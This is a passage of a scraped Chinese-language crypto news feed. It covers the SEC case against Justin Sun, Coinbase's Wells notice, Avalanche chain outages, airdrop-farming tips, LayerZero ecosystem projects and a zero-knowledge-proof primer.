的元宇宙世界，是一个小巧精致、主打明星牌的“奢侈”平台，虽然有土地，但其元宇宙世界的构建模型还未能很好地体现。其专注的元宇宙音乐和媒体的细分赛道，也比较难容纳大体量的丰富的元宇宙内容，昭示着 Ceek 的定位必定是一群喜欢追星的相对小众的用户群体，就是私域流量的概念。 本篇总结 本篇文章是我们近期对 WEB3 元宇宙赛道的集中梳理的第一篇文章，探讨了其中的细分板块“硬派小生”VR 元宇宙的现状和问题，并分析了 VR 元宇宙的三个典型项目 - Hightstreet、MixVerse 以及 Ceek。 以 Highstreet 为代表的电商元宇宙，以 Mixverse 为代表的游戏元宇宙来说，究竟哪一个是现阶段更好地实现元宇宙的路径？这两条路径分别代表了元宇宙的两条主流实现通道： 从实现难度上看，相较于电商元宇宙要实现线下线上物品的融合，游戏元宇宙纯虚拟的内容环境无需改造现实商品，有成熟的游戏生态打造模板可直接借鉴，在实现难度上要优于电商元宇宙； 从实现速度上来看，元宇宙改造相对有限的游戏数量会比改造成千上万的实体物品迅速且有效； 从技术难度上来看，元宇宙电商要真正实现商品在元宇宙世界里的完整映射与展示，还需要大量基础设施建设与普及，而游戏元宇宙则只是在游戏平台和游戏内容上横向拓展并丰富即可。 显然从以上三个角度分析，游戏元宇宙的可实现度在现阶段是更高的。同时 Ceek 以明星带货的方式，如果能有大量的 WEB2 私域流量的引入，应该潜力无限。 在后续文章中，我们会继续探讨元宇宙的另外两个细分赛道 - UGC 元宇宙和应用元宇宙。敬请期待！  ( 8 min )
    SEC 指控孙宇晨与八位名人违反证券法全文
    编译：吴说区块链 2023 年 3 月 22 日 — 美国证券交易委员会今天宣布对加密资产企业家孙宇晨及其三家全资公司 Tron Foundation Limited、BitTorrent Foundation Ltd. 和 Rainberry Inc.（前身为 BitTorrent）提出指控，指控他们未经注册地提供和出售加密资产证券 Tronix (TRX) 和 BitTorrent (BTT)。SEC 还指控 Sun 和他的公司通过广泛的清洗交易欺诈性地操纵 TRX 的二级市场，这涉及同时或几乎同时购买和出售证券，使其看起来交易活跃，而实际受益所有权没有实际变化，以及策划了一项计划，向名人支付费用以兜售 TRX 和 BTT，但没有透露他们的报酬。 SEC 同时指控以下 8 名名人非法兜售 TRX 和/或 BTT，但没有透露他们因此而获得的报酬以及金额。 SEC 向美国纽约南区地方法院提起的诉状称，Sun 及其公司通过多个未注册的“赏金计划”提供和出售 TRX 和 BTT 作为投资，这些计划指示感兴趣的各方在社交媒体上推广代币，加入并招募其他人加入 Tron 附属的 Telegram 和 Discord 频道，并创建 BitTorrent 帐户以换取 TRX 和 BTT 分配。起诉进一步指控 Sun、BitTorrent Foundation 和 Rainberry 以未注册的每月空投方式向包括美国在内的投资者提供和出售 BTT，这些投资者在 Tron 钱包或参与的加密资产交易平台上购买和持有 TRX。根据起诉，这些未注册的要约和销售均违反了《证券法》第 5 条。 委员会还指控 Sun 策划了一项人为夸大二级市场 TRX 交易量的计划，违反了联邦证券法的反欺诈和市场操纵规定。至少从 2018 年 4 月到 2019 年 2 月，Sun 据称指示他的员工在他控制的两个加密资产交易平台账户之间进行了超过 60 万次 TRX 虚假交易，每天有 450 万到 740 万个 TRX 虚假交易。该计划需要大量的 TRX 供应，据称 Sun 提供了这些供应。据称，Sun 还将 TRX 出售到二级市场，从非法、未注册的代币发售和销售中获得 3100 万美元的收益。 美国证券交易委员会主席 Gary Gensler 表示：“这个案例再次表明，在没有适当披露的情况下提供和出售加密资产证券时，投资者将面临高风险。” “正如所指控的那样，Sun 和他的公司不仅在未注册的报价和销售中针对美国投资者，以牺牲投资者的利益为代价获得数百万的非法收益，而且他们还在未注册的交易平台上协调虚假交易，以制造活跃交易的误导性表象。Sun 通过策划一场促销活动进一步诱使投资者购买 TRX 和 BTT，在促销活动中，他和名人们隐瞒了推文付费的事实。” “虽然我们对有争议的技术持中立态度，但在投资者保护方面，我们绝不是中立的，”SEC 执法部主任 Gurbir S. Grewal 说。“正如投诉中所称，Sun 和其他人使用一个古老的剧本来误导和伤害投资者，首先在不遵守注册和披露要求的情况下发行证券，然后操纵这些证券的市场。与此同时，Sun 向在社交媒体上拥有数百万粉丝的名人支付费用，以宣传未注册的产品，同时特别指示他们不要透露他们的报酬。这正是联邦证券法旨在防止的行为，无论 Sun 和其他人使用的标签如何。” 除了 Cortez Way 和 Mahone 之外，今天被指控的名人同意支付总计超过 400,000 美元的非法所得、利息和罚款以了结指控，而不承认或否认 SEC 的调查结果。 起诉书中还大量援引了孙宇晨和相关公司的推特内容，例如2018年推特上对美国用户可以购买 TRX 的宣称；2019年孙宇晨转推“美国用户可以使用 VPN 购买 TRX”；2018年指示在 binance、bittrex、bithumb、upbit 增加虚假交易。 阅读新闻稿原文： https://www.sec.gov/news/press-release/2023-59 阅读起诉书原文： https://downloads.coindesk.com/legal/justin.pdf 此外，几乎在同时，Coinbase 亦披露了收到 SEC 的 Wells 通知。 Coinbase 表示：SEC 在粗略调查后就我们上市数字资产的未指明部分、我们的质押服务 Coinbase Earn 、Coinbase Prime 和 Coinbase Wallet 向我们发出了“Wells 通知”。Wells 通知是 SEC 工作人员告诉公司他们建议 SEC 对可能违反证券法的行为采取执法行动的方式。这不是正式的指控或诉讼，但可能会导致指控或诉讼。请放心，Coinbase 的产品和服务将继续照常运营——今天的新闻不需要对我们当前的产品或服务进行任何更改。 今天的 Wells 通知没有提供很多信息供我们回应。SEC 工作人员告诉我们，他们已经发现了潜在的违反证券法的行为，但仅此而已。我们特别要求美国证券交易委员会确定他们认为我们平台上的哪些资产可能是证券，但他们拒绝这样做。调查仍处于非常早期的阶段。我们已经制作了文件并提供了两名证人作证，一名是关于我们质押服务的基本方面，另一名是关于我们交易平台的基本操作。 阅读全文： https://www.coinbase.com/blog/we-asked-the-sec-for-reasonable-crypto-rules-for-americans-we-got-legal 头图来自 decrypt  ( 5 min )
    Coinbase首席法务官发文强势回应SEC：考虑通过法庭以进行建设性对话
    作者：paulgrewal.eth, Coinbase首席法务官 编译：Felix, PANews Coinbase收到了美国证券交易委员会（下称SEC）的韦尔斯通知（注：韦尔斯通知是SEC对在美上市公司进行民事诉讼前发出的非正式提醒，接到通知的上市公司可以在收到正式诉讼前跟SEC进行沟通和协商）。多年来，SEC一直在要求制定合理的加密规则，但现在却在考虑通过法庭进行建设性对话，这让我们感到失望。如果通过法庭对话，那就这样吧，我们将捍卫法治。 在过去的9个月里，Coinbase与SEC会面了30多次，我们分享了业务的详细信息，以建立明确的注册路径。在此期间，SEC基本上没有给出关于更改内容或如何注册的反馈。反而，今天我们收到了韦尔斯通知。 当Coinbase于2021年申请上市时，我们的S1详细描述了我们的业务，包括57次提及质押和资产上市流程的详细信息。SEC在了解这些细节的情况后，批准了我们上市。但现在他们改变了过往自己所认可的想法。 2018年，我们获得了两个经纪交易商牌照，以努力接受SEC的监管。这些许可证目前处于休眠状态，我们无法通过SEC激活它们。 去年7月，我们向SEC提交了一份请愿书，要求提高监管透明度。但目前我们还没有收到关于请愿书的回复。 相比之下，多年来，我们已经能够在全球许多其他司法管辖区（包括新加坡、爱尔兰、澳大利亚和德国），成功成为一家获得许可和受监管的加密货币企业。 我们还成功地受到另一家美国联邦监管机构的监管，从商品期货交易委员会（CFTC）获得我们的DCM和DCO许可证。并受到许多美国州监管机构的欢迎。在这方面，SEC仍是唯一的异类。 我们不上线证券。在Coinbase多年来审查的数千种加密资产中，只有大约240种符合我们的标准，并在我们的平台上线。我们相信大量的加密证券是存在的，并且应该可以在SEC在册的经纪商和交易所中进行注册和交易，这一点我们在讨论中反复强调过。 但事实是，今天SEC没有明确的关于加密货币的监管手册，在与SEC的努力接触中，我们遭到漠视或执法行动。他们没有按照APA的要求，遵循行业的诚信原则制定规则。 此外，有时SEC和CFTC在商品或证券的定义上也存在分歧。例如，CFTC主席曾表示以太坊是一种商品，而SEC主席则暗示以太坊可能是一种证券。 即使在向我们发出韦尔斯通知时，SEC也没有明确指出哪些资产让他们感到担忧，更没有明确指出在质押方面，我们的哪些具体规则是错误的。相反，我们只是被告知，是考虑到主席的一般性发言。 当没有监管手册时，很难将监管手册甩给整个经济部门，负责监管手册的人甚至不能就监管手册的内容达成一致——即使我们已经要求了明确规则。 那么接下来会发生什么？我们最终会通过法院澄清自己，以促进美国的加密行业监管更加透明清晰。具有讽刺意味的是，出现一些庭审案例，可能才是加密行业实现透明监管的最佳机会。  ( 4 min )
    明星项目交互指南：下一个“大肉”，或许就在其中
    撰文：五火球教主 首先，这不是一篇教你撸毛的文。 只是最近 Arbitrum airdrop 的 Token 再次暴富了一批人，于是乎，几乎被人遗忘的羊毛党又再度活跃了起来！ 那么未来几个月，有哪些可能，只是说可能的大毛机会呢？一起来捋一遍, 顺便盲猜下各个项目可能的规则框架。 毫无疑问，ETH 几个 Layer2 生态项目，是最为「确定性」的大毛。 ZK-Rollup 的两大扛把子之一，撸毛党扎堆的拥挤之地，然而你要是现在才去，估计会有点晚，估计 V1 交互之类的肯定也会占不少权重，V2 现在的交互人数已经多到可怕。 官方跨链桥上的 ETH 也是肉眼可见的在增多，应该很多也是去撸毛交互的，Starkware 和其他几个 L2 还不太一样，毕竟人家一开始就只在折腾 L3，所以估计 Immutable X，dydx 等早期用户拿到Token的权重会不小。 相对前三个，这俩的名气没有那么大。也没有太多可以交互或是撸的信息。但往往越是这种人少的地方，越有大毛的机会。 Scroll 是华人团队的 ZK-Rollup，但在业界的名气和关注度也是越来越高，相对于 ZK 的两大扛把子，Scroll 主打的是更加完善的 EVM 兼容性。 Fuel 则是除了 Arb 与 OP 另一个很有实力的 OP Rollup，且定位是一个模块化的执行层，并非专属 ETH 生态，又是非常另类的 UTXO 主打并行计算型，非常值得一看。 随着 Cosmos 生态的崛起之势，以及 Appchain 和模块化区块链路线方向之正确性，所以未来几个月，Cosmos 这边的大毛机会，应该不少 这项目，感觉注定是大毛，如果 Aptos 和 Move 系是资本推动的新公链，GNO 到时候肯定就是社区推动的典范了，项目大概率明年初会看到。但是现在去撸有点晚，因为Token半年前就发给了 ATOM 的质押者 ( 没法交易），当然，后续会不会有别的规则，现在也说不准。 Celestia 这半年多名气已经大的不能再大，提到模块化第一个想到的必然是他, 最近熊市几千万美金的融资也毫无疑问的彰显了未来独角兽项目的地位。 Celestia 会分发Token么？感觉大概率会，毕竟分发Token是 Cosmos 系的一惯传统，而除了 Atom 质押者，Osmosis 质押或 LP 之外，Celestia 的测试网估计也会是Token 分发的权重之一，技术流的小伙伴不应该错过。 之前的文章有写过《热度比肩以太坊的 Cosmos 生态现在发展得怎么样了？（下）》，是一个基于 Cosmos，专门针对 DeFi 优化的 DeFi Chain，之前发布过消息：表示 1% 的 Sei Token 供应将分配至激励测试网。引起不少人的不满，1%？？少点了吧兄弟…… 但其实要知道，AptosToken 分发的数量也就 2%，所以 1%，其实也没你想象的那么少。 这个不用说，Move 系双雄，Aptos 匆忙发了 Token 之后，现在整个加密圈最卷的项目一定是 Sui，没有之一。 当初 Diem（Meta）出来的人马其实是兵分三路的，Aptos，Sui，还有 Linera，只不过 Aptos 和 Sui 因为用了 Move 语言，所以名气大很多，融资的体量也大很多。但 Linera 其实背后也有 A16Z 这种巨头，所以说不定因为这里的人少，分到的毛要比 Sui 大。保持关注。 写在最后：总而言之，撸毛这件事，除了不能三分钟热度，要持之以恒之外，还有下面几个基本原则可以遵循： 当然了，遵循了也不一定能撸到，最多能提高下胜率。至于撸不撸，这完全是个见仁见智的事儿~  ( 5 min )
    Avalanche v.1.9.14版本发布，Avalanche C链已恢复出块
    PANews 3月23日消息，Avalanche工作人员在官方电报群中表示，Avalanche已发布v.1.9.14版本，升级修复了影响某些验证器的问题。所有Avalanche验证器都应该升级它们的节点，以确保一致性、正常运行时间和响应性。 此外，snowtrace.io数据显示，Avalanche C链现已恢复出块。 此前今日早些时候消息，Avalanche C链疑似已停止出块。  ( 4 min )
    美财政部研究：数字货币或会降低金融系统波动性，但会给银行带来风险
    PANews 3月23日消息，美国财政部金融研究办公室近日发布的研究报告称，金融摩擦可能会限制数字货币的潜在收益，无论是作为央行数字货币(CBDC)公开发行还是作为稳定币私下发行。此外，当数字货币完全集成时，金融系统的波动性会降低，家庭福利会改善，但银行部门的稳定性会受到影响。 对于数字货币对银行业影响，报告称，存款利差的下降是随着数字货币发行而增加危机可能性的主要原因。完全集成的数字货币会降低银行存款利差，尤其是在危机期间，这会限制银行在损失后进行资本重组的能力。此外，由于银行在不利冲击后重建资产的能力较弱，因此银行的资产平均水平较低，估值大幅下降，银行业陷入危机或陷入困境的可能性会大大增加。 该报告称，数字货币有潜力成为传统货币的替代品。然而，金融市场的不完善限制了它们的潜在收益。在某种程度上，可能会出现一系列数字货币的发行，其中福利-稳定的权衡有利于数字货币，即使在竞争环境中数字货币的发行成本很高。  ( 4 min )
    以太坊客户端Lighthouse发布v4.0.0版本，支持主网Shapella升级
    PANews 3月23日消息，以太坊客户端Lighthouse开发团队Sigma Prime在推特上表示，Lighthouse已发布v4.0.0版本，此版本对所有主网用户都是强制性的。该版本支持启用以太坊主网Shapella升级，在以太坊主网升级之前未更新到Lighthouse v4.0.0或更高版本的节点将停止跟随链，并且需要重新同步。对于利益相关者，这将导致错过奖励和惩罚。 此前消息，以太坊主网预计于UTC时间4月12日22:27:35（北京时间4月13日06:27:35）激活上海（Shapella）升级。  ( 4 min )
    Web3社交和链上数据将对社区产生何种影响？
    撰文：《Chaining Data Together》by Bridget Harris、Sophie Fujiwara 编译：深潮 TechFlow 此文来自于斯坦福区块链评论，深潮 TechFlow 为斯坦福区块链评论合作伙伴，独家获授权编译转载。 我们社交网络的设计决定了我们在网上彼此之间的互动，并创造了我们社交层的结构。虽然 Web2 社交公司以盈利为驱动，主导用户信息的提取，但 Web3 更加强调社区、透明度和用户利益。 当一个协议成功时，其用户也会成功。Web3 通过简化社交协调和使激励机制相一致来引入行为变革。 许多社交体验都是通过去信任化和问责制才成为可能或者变得更容易的——这正是区块链所提供的。然而，改变个人、社群和整个世界根深蒂固的行为习惯存在一定困难。尽管 Web3 社交提供了透明度，但由于对新用户来说很难理解并且存在丑闻，它在今天还大多被误解。 我们所有的朋友都已经在使用 Twitter、Instagram 和 Facebook。要真正将行为转向包括 Web3 协议，用户必须首先信任它们，并将它们视为 Web2 社交网络的一个有力替代品。这种行为变革引发了最大准则的变化：从信任到去信任化，从奖励中间商到奖励最终用户，从黑匣子到透明度。在本文中，我们将探讨如何应用这些准则来构建一个全新的社交网络概念，从社交原语到共同身份和社交功能。 在当今社交媒体上，我们将自己简化为身份的单一向量，体现我们的个人资料，而不是我们的个人资料体现我们。加密货币中的身份具有更广泛的潜力，这就是为什么新的原语，包括灵魂绑定令牌、去中心化标识符和可验证证书，是下一波链上社交的核心所在。 而 Web2 数字存在已经集中在了几个核心平台上，Web3 行为被记录在链上，描绘了我们更全面的形象。 Disco 通过创建一个「数据背包」来实现这一点，其中充满了凭据、账户、会员状态和其他身份数据，以便在链上轻松地导航协议。类似地，ENS 和 Unstoppable Domains 使用户能够拥有他们的链上身份，将他们的钱包地址与域名链接起来，并通过该域名轻松登录协议并进行交易。 链上身份认证超越了我们当前对社交媒体的概念。我们不再局限于在 Instagram 上发布照片或在 Twitter 上发布 280 个字符的简单内容，而是可以在链上代表我们自己的几乎任何部分，创造一个更全面的身份认证，由我们自己的叙述推动，而不是试图追溯地将自己塞进某种格式中。上下文提到的工具都使用户更容易实现这一点，但并不限制用户。 消息传递是社交网络的另一个广泛特征，其中私人消息尤其是 Web2 平台上最重要的社交行动之一。虽然区块链启用的消息传递尚未达到主流，但最近已经看到了有趣的采用和发展。特别地，近期出现了致力于处理消息基础架构层的新公司，如 Notifi 和 Waku 等。这些公司正在帮助协议嵌入和扩展本地消息层，以为终端用户创建更完整的体验。 直接面向用户模式中还存在独特的垂直领域： 此外，还有许多平台支持由链上机制支持的直接 P2P 消息传递平台，其中流行的包括 XMTP、Dialect、Status 和 Blockscan。最近，WalletConnect 推出了一个收件箱，让钱包可以与协议和其他钱包交流。 像 Web3 社交的许多垂直领域一样，这里的主要挑战是在便利性和质量之间进行权衡。Web3 中的消息传递并不取代 Web2 中的消息传递，而是引入了具有不同利益相关者和接口的新形式的消息传递。 许多现有的链上社交渠道尽管创新，但仍未获得实质性的发展势头。 这其中有许多原因，包括进入的技术障碍、非加密本地人的污名以及复杂和混乱的用户界面——所有这些都困扰着整个加密领域，但是对于社交而言，我们还面临着「冷启动」问题。 目前，最受关注的两个协议是 Lens 和 Farcaster，它们都旨在创建可以从许多不同客户端访问的去中心化社交图表。 还有其他协议，它们有自己的社区策略，如 DeSo、DSCVR、GM 和 CyberConnect。 从根本上讲，Web3 社交网络的成功不仅取决于技术上的优越性，更重要的是通过共同的故事和社区建立群体认同。我们已经在成功的 NFT 集合中看到了这一点，其中最成功的 DeGods 和 BAYC 都保持着一个核心社区，而不是依靠投机交易者来维持价格。这种以社区为重心的关注导致了许多工具的创建，如 Station 和 Jokedao，它们帮助社区在链上进行协调。随着协议的扩展，我们将看到社区的弹性，因为大多数技术已经成为商品。 NFTs 是一种新的经济机制，可以验证地拥有数字物品。这种所有权可以分散到多个人手中，创造区块链归属，从而形成协同创作的范式。随着 NFT 定义和维护抽象所有权，现在是重新构想专利和知识产权许可等概念的时候了。 最近，我们看到了 TikTok 混音的兴起，引发了关于媒体协同创作的讨论。像 Arpeggi 和 Adimverse 这样的公司正在以分散化的方式构建这一点，利用智能合约自动对内容进行归属。 Mirror 和 0xSplits，以及最近推出的 Lens，为项目的每个贡献者提供比例收益分配，确保每个人都能得到公平报酬。为了激励协作和创造力，我们应该使这成为创作者获取报酬的主导范式，而不是今天在 Medium 和 Spotify 上看到的不充分的支付。 在链上的行为可以拼凑起来，重新构想消费者和大数据之间的关系。链上数据不仅告诉你客户正在买卖什么，而且通过他们的集体行为展示了客户是谁。 一个钱包的历史显示社交互动、个人兴趣和财务历史。 然而，由于我们知道我们的链上行为是公开的，我们愿意将我们的数据放出来供他人使用，不像私有平台在未经我们同意的情况下销售和使用我们的数据。有许多工具帮助任何人掌握数据： Golden Protocol 利用区块链的透明度创建生活在链上的属性，以便信息与其创作者相连，创建正确归属每个人的叙述。这些可以通过徽章带到 dapp 层，就像 Metagame 那样，您通过链上行动赚取（而不是购买）您的 NFT。 有了所有这些数据和新的展示和发现方式，个人和社区身份注定会发生变化。链上协调为社区中的每个人参与提供了公平的竞争环境；链上数据允许任何人创建或验证叙述；链上行为创造了这种数据财富。 拥有所有这些区块链协议很棒，但是几乎不可能找到你想要的东西。目前没有 Web3 搜索引擎可以在需要时找到你想要的应用程序。像 Launchcaster 这样的平台通过简单的方式解决了这个问题，就像一个 Web3 版的 ProductHunt。 其他平台采取更加精选的方法，像 Boys Club 和 Dirt，它们都有专门的受众群体，这些受众信任它们的品味，并选择手动策划的内容。 这些策展人已经发展成为品牌，因为他们代表着对读者的强烈信号，当他们认可某件事情时。这类似于 Web2，在 Web2 中，我们依赖品牌来策划互联网。我们发现这是 NFT 领域的一个重大问题，OpenSea 的排行榜以及 Twitter 上的影响者是最重要的策划平台之一。还有更去中心化的策划形式，例如 Yup，它通过对现有平台进行聚合过滤，或者代币策划注册表，奖励用户拥有良好的品味。这种用户策划的内容允许归因，这使得任何具有小型追随者的人都可以扮演策展人的角色，而不仅仅是超级影响者。 教育 目前，加密货币普及的主要问题之一是缺乏相关知识。由于加密货币的复杂性，许多人不敢涉足，即使只是在社交平台上。因此，一些新的消费类公司正在将加密货币从前端抽象化，让消费者可以从这些技术中受益，而无需改变他们现有的行为方式。像 Niche Protocol 这样的公司正在以极其用户友好的方式提供新的社交应用程序，以实现这种抽象化。 总的来说，可访问性、所有权和奖励是这些类型的协议正在采用的主要渠道，用来打破传统的社交平台。其他平台如 RabbitHole 和 Layer3 正在奖励用户入门加密协议，为用户创建既教育又奖励的旅程。这些平台促进着可访问性，并试图使入门变得无缝，以允许用户对他们所交互的协议建立更高水平的信任。 金融交易 除了社交层面，区块链技术还在积极创造围绕社区为导向的金融活动的新动态。 一个引人注目的项目是 Antic，它正在创建基础设施，允许任何现有平台将「一起购买」按钮集成到其站点上。共同拥有并不是 Web3 所独有的，但许多加密原生的协议，如 Fractional（现在是 Tessera），已经率先引入了这些新型所有权模式。 区块链也是这些解决方案的完美后端。为用户提供以小组方式购买资产或体验的选项可以吸引更多人来到平台，并随之增加收入。 此外，共同拥有是一种有趣的模式，允许群体投资于替代性资产、分享经验，并围绕他们购买的产品创建社区。随着区块链实现透明和可信的共享所有权模式，这些新的金融机制将继续增加复杂度和受欢迎程度。 共同拥有可以成为朋友之间协调购买某些东西的机制，但它也可以使陌生人一起做出财务决策，因为他们只需要相信底层系统，而不是彼此。 SyndicateDAO 允许人们共同投资，Bridgesplit 则允许人们将金融资产分数化，无论共同投资者之间有多少个层次的分离。 通过利用区块链的透明度、数据和协调机制，我们不仅能够更有效地理解用户，而且还能增加各方之间的联系质量和信任。 交流是社会的核心，而使用链上社交互动，我们可以更好地奖励用户的互动，并鼓励社区的发展。 Web3 社交对身份和互动有巨大的影响。 目前，链上数据是一项新颖的技术，从知识上来说很有趣，但在实际应用中尚不是很实用。 我们相信，在未来，链上社交将得到充分利用，但这不会取代当今的社交媒体，而是会通过这些新原语增强某些行为。  ( 5 min )
    Avalanche C链疑似已停止出块一个多小时
    PANews 3月23日消息，Conflux联合创始人Fan Long在推特上表示，Avalanche C链疑似已停止出块一个小时。 据snowtrace.io数据显示，Avalanche C链最新区块为1小时38分钟前产出，最新区块高度为27788298。  ( 4 min )
    环球音乐集团为其商品和服务提交NFT相关商标申请
    PANews 3月23日消息，据知识产权律师Eliana的推文，环球音乐集团（UMG）已向美国专利商标局为其商品和服务提交了两份商标申请，包括第41类：不可下载的虚拟数字商品，即经过NFT认证的音乐及音乐相关娱乐领域的多媒体、图像、视频、音乐和音频文件；第9类：由NFT认证的音乐和音乐相关娱乐领域的视频、音乐和音频文件。 此前去年4月份，环球音乐集团为其BAYC NFT乐队领队申请4个商标。  ( 4 min )
    NFT市场Magic Eden推出Web3游戏中心Magic Eden Games
    PANews 3月23日消息，据美通社报道，NFT市场Magic Eden宣布推出Web3游戏中心Magic Eden Games，旨在扩大Web3游戏开发者的玩家基础及其Web3游戏社区。 游戏开发者与Magic Eden Games合作时，每个游戏都会收到自己的“探索游戏”页面，其中包含游戏描述、工作室描述、视频和其他媒体，以及游戏特定NFT市场。游戏开发者还可以通过在Magic Eden Launchpad和在所有区块链上强制执行创作者版税的二级市场上铸造收藏品来产生收入。 作为公司进军Web3游戏领域的一部分，Magic Eden最近宣布推出Mint Madness活动，与Web3游戏项目相关的十多个NFT将在Polygon、Solana和Ethereum上免费铸造。  ( 4 min )
    币安再次对现货比特币交易收取费用，仅保留TUSD-BTC交易对的促销
    PANews 3月23日消息，据华尔街日报报道，加密交易所币安的一位发言人证实，继去年夏天将现货比特币交易费用降至零后，该公司已再次开始对现货比特币交易收费。据币安网站介绍，目前该交易所对现货比特币交易收取0.1%的费用。 币安发言人周三称：“将交易费用降至零的举措是一种促销，该促销计划持续6个月；且公司去年7月给用户的信息称，该计划在另行通知前有效。”她说，用户仍然可以在币安上免费交易TUSD-BTC交易对。 报道称，事实证明这种免费的方式对币安来说是有效的；Kaiko的研究总监Clara Medalie表示，截至上周，币安上61%的交易量是零费用比特币交易。Medalie强调，与大多数流动性交易所相比，该措施帮助币安将其市场份额从去年7月的50%增加到72%。不过Medalie认为，币安在取消了大部分零费用交易后，其市场份额可能会下降。  ( 4 min )
    Coinbase将从3月29日起暂停Algorand质押奖励
    PANews 3月23日消息，据CoinDesk报道，加密交易所Coinbase (COIN)周三告知其客户，从3月29日起，它将不再提供Algorand代币（ALGO）质押奖励。该代币仍可用于交易。Coinbase发言人没有给出终止Algorand奖励的原因，但在一封电子邮件中表示，“截至3月31日的Algorand治理期的所有奖励将在4月初支付”。Coinbase发言人称：“Coinbase与资产发行人合作提供奖励，并不断重新评估我们的产品以确保最佳的客户体验。我们决定此时停止Algorand (ALGO)奖励”。 Algorand基金会的首席执行官Staci Warden在推特上表示，此举是考虑到监管审查。Warden称：“Coinbase现在通知我们，他们正在根据最近的监管审查评估他们的服务，因此，他们将不再支持零售客户的Algo质押奖励。” 此前今日早些时候消息，美国SEC向Coinbase发出韦尔斯通知，称其可能违反证券法；Coinbase CEO对此表示，Coinbase没有违法，愿意出庭证明。  ( 4 min )
    Layer Zero协议生态一览：全链叙事及潜在的空投机会
    撰文：Emperor Osmo 编译：深潮 TechFlow 加密货币市场一直在不断发展和变化，新的项目和技术层出不穷。然而，往往投资者会因为跟进某种趋势过晚而错失巨大的收益。 本文将介绍有关 Layer Zero（全链协议）叙事的项目，包括 StargateFinance、AltitudeDeFi、Pendle、Tapioca 等。这些项目都有着独特的优势和特点，可能会成为未来的潜力股。 LayerZero 是什么？ Layer Zero 是一种全链协议，可以使区块链之间无缝通信。这意味着： • 无限的流动性； • 单一代币面额； • 安全性保持不变。 简单来说，$STG 是 LayerZero 内的蓝筹跨链桥。 $STG 代币向持有者支付以 $USDC 计算的 0.01% 的所有转账费用，随着越来越多的链加入，这个收益将会增长。 一个被低估的催化剂是即将解锁的 $STG 代币。 虽然这可能会导致一些抛售压力，但它将摆脱 VC（风险投资）寻求退出的状态，并允许长期持有者累积。 Altitude 在跨链桥梁方面的方法是独特的。与其仅转移稳定币流动性不同，Altitude 专注于桥接蓝筹资产。 这消除了围绕稳定币流动性的中心化，使跨链转移变得更加容易。 作为 LayerZero 之上的首批应用程序之一，Altitude 可以巩固自身作为主要桥梁的地位。它将最初支持 8 个链，其中费用将分配给 $gALTD 持有者。 Pendle 使用户能够对收益率资产进行代币化和交易，例如 $ETH，创建一个动态市场，您可以在其中： • 以折扣价买入资产； • 实现低风险、稳定增长的固定收益； • 长期收益； • 定制收益策略。 预计与 LayerZero 的集成将加速跨链增长，增加对 $PENDLE 衍生品的需求。用户将能够在任何链上访问和使用这些资产。 Tapioca 旨在成为全链货币市场。其 $USDO 稳定币未来可能会被更多人采用。 它是由各种流动性抵押衍生品（LSD）抵押的，使得 $TAP 持有者可以受益，因为他们可以收取 50% 的费用。 Radiant 旨在成为一站式 DeFi 市场，用户可以在多个链上无缝地存款和借贷。刚刚的 V2 揭示了： • $RDNT 代币经济学改进； • 跨链借贷； • LayerZero OFT 实施； • 费用模型改进。 最大的 DEX 在 Avalanche 上最近利用了全链技术。这意味着 $JOE 不再局限于一个 DEX，并可以在 $ARB 和 $BNB 生态系统中找到。 这将导致更多的流动性、交易量，最终会有更多的费用。对于 Traderjoe 来说，LayerZero 的好处是： $JOE 持有者可以通过 Stargate 自由漫游，可以在顶级生态系统（如 Arbitrum 和 BNBCHAIN）中增加他们的代币流动性。 Mugen 是一个收益聚合器，可以在跨链上解锁收益。它建立在最大的生态系统之上，使得更多的生态系统可以使用。 目前部署在 $ARB 上，但很快将扩展到更多的生态系统。 目前，MugenFinance 收取 10% 的费用，用于提供收益聚合，并用于资助开发和团队。通过将资金存入国库中创建 $MGN，没有庞氏经济学风险。 Rage trade $RAGE 全链 Perpdex 通过将其他协议中的流动性重复利用到 $RAGE 中，提高了资本效率。 这种回收利用的流动性使得 Rage 可以在所有与 LayerZero 兼容的链上重复使用 ETH-USD 流动性。 Rage Trade 允许您跨多条链提供流动性，LayerZero 支持的链越多，链生态系统越多，保险库的可选性就越大。 目前的 80-20 vault 收益率为 15%。  ( 5 min )

  • Open

    Alliance Dao：如何通过 ZKP 构建 Web3 产品？
    Chainfeeds 导读： 零知识证明（ZKP）正在成为未来十年根本性变革的技术。在 Web3 中，ZKP 主要用于解决可扩展性和隐私瓶颈。本文由 Alliance Dao 成员 Mohamed Fouda 和 Qiao Wang 共同撰写，汇总了一些教育资源，旨在指导开发人员了解 ZKP 在实践中的工作原理以及如何在其应用中使用 ZKP。中文版由深潮编译发布。 文章来源： https://m.techflowpost.com/article/2308 文章作者： Mohamed Fouda、Qiao Wang 观点： Mohamed Fouda：构建 ZKP 相关产品的开发者需要考虑的一个重要问题是如何选择底层证明系统。ZKP 后端的选择不仅取决于技术方面，还取决于目标产品。以选择 Rollup 证明系统为例，Rollup 的关键特征，如提款时间、交易成本，甚至去中心化程度，将主要由 ZKP 证明架构决定。【原文为英文】 内容来源 Mohamed Fouda：在 Rollup 中，证明发生在业务方面，即通过 Rollup 运营商。现有的 ZK Rollups，如 Starknet 和 Zksync 目前使用中心化证明者。因此，他们可以将证明委托给专门的证明者，即证明即服务公司，以提高证明者性能。通过专业化和利用优化的软件 / 硬件，以太坊兼容的 zkEVM 的证明时间可以缩短到几分钟。几分钟的证明时间，即提款延迟，对于 rollup 是可以接受的。【原文为英文】 内容来源 Mohamed Fouda：另一方面，一些用例需要证明发生在用户端，生成私人交易，如 Tornado Cash。为了确保合理的用户体验，证明时间不能超过几秒钟。此外，由于用户使用资源有限的设备在浏览器中的钱包执行这些计算，选择一个具有快速证明者的证明系统非常重要。一个很好的例子是 Zcash 在 2018 年的 Sapling 升级中将其证明系统改为 Groth16，这是将屏蔽交易速度提升一个数量级的主要因素。【原文为英文】 内容来源  ( 15 min )
    【英文长推】Arbitrum 空投申领中你需要知道的 8 个要点
